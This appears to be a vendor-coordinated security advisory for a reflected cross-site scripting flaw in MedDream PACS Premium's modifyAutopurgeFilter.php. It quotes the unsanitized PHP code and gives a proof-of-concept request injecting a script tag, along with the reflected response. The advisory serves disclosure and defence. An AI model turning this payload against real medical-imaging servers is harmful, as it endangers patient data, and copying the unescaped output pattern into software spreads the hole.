SUMMARY

A reflected cross-site scripting (xss) vulnerability exists in the modifyAutopurgeFilter functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

MedDream PACS Premium 7.3.6.870

PRODUCT URLS

MedDream PACS Premium - https://meddream.com/products/meddream-pacs-server/

CVSSv3 SCORE

6.1 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

DETAILS

MedDream PACS is a DICOM 3.0-compliant server for storing, managing, and retrieving medical images. It includes a web-based DICOM viewer and administration interface, with features like user access control, study forwarding, and multi-format image support.

A post-authentication reflected cross-site scripting vulnerability exists in the functionality of the Pacs/modifyAutopurgeFilter.php script. The value of the key parameter used in that script is written into the HTML output without any sanitization. The vulnerable code appears as follows:

$result = NULL;
if (isset($_GET['key'])) {
    modifyEntryForm(urldecode($_GET['key'])); ////[1]
}

216
function modifyEntryForm($entry)
{
    $tokens = explode("|", $entry);
    $dir = $tokens[0];
    $tag = $tokens[1];
    $pattern = $tokens[2]; ///[2]
304

    } else {
        print "<h3><font color=red>";
        printf(pacsone_gettext("<u>Automatic Purging Filter for: (0x%08x) - %s not found in database!"), $tag, $pattern); ///[3]
        print "</font></h3>\n";
    }

The $key variable is set by the attacker and is fully controllable [1]. If specified key does not exist in the database, error message is presented containing specified by an attacker $pattern value (it is a part of $key variable [2]) [3]. Example of a malicious request and response containing injected HTML/JavaScript code:

GET /Pacs/modifyAutopurgeFilter.php?key=AAA|31337|%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: 192.168.0.42
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: sessionCookie=%20%A9%C7%FB%B1%7F2%8Cs%18%FE1%BD%E5%9E%2F%FBCB%F3S%BE%A6%EF%9E%A6%BEFe%FB%ED9; PHPSESSID=e57f22ea61aace53702ee3443fabe583; MEDDREAMSESSID=89F9D14757A096B63E147238A622FC72
Upgrade-Insecure-Requests: 1
Priority: u=0, i


RESP

HTTP/1.1 200 OK
Date: Wed, 20 Aug 2025 10:50:51 GMT
Server: =^_^=
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Powered-By: PHP/8.3.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Permissions-Policy: geolocation=(), microphone=(), camera=()
Content-Length: 4548
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

(...)
<div class="contentBody">
<h3><font color=red><u>Automatic Purging Filter for: (0x00007a69) - <script>alert(1)</script> not found in database!</font></h3>
</div>

TIMELINE

2025-09-02 - Vendor Disclosure
2025-12-05 - Vendor Patch Release
2026-01-20 - Public Release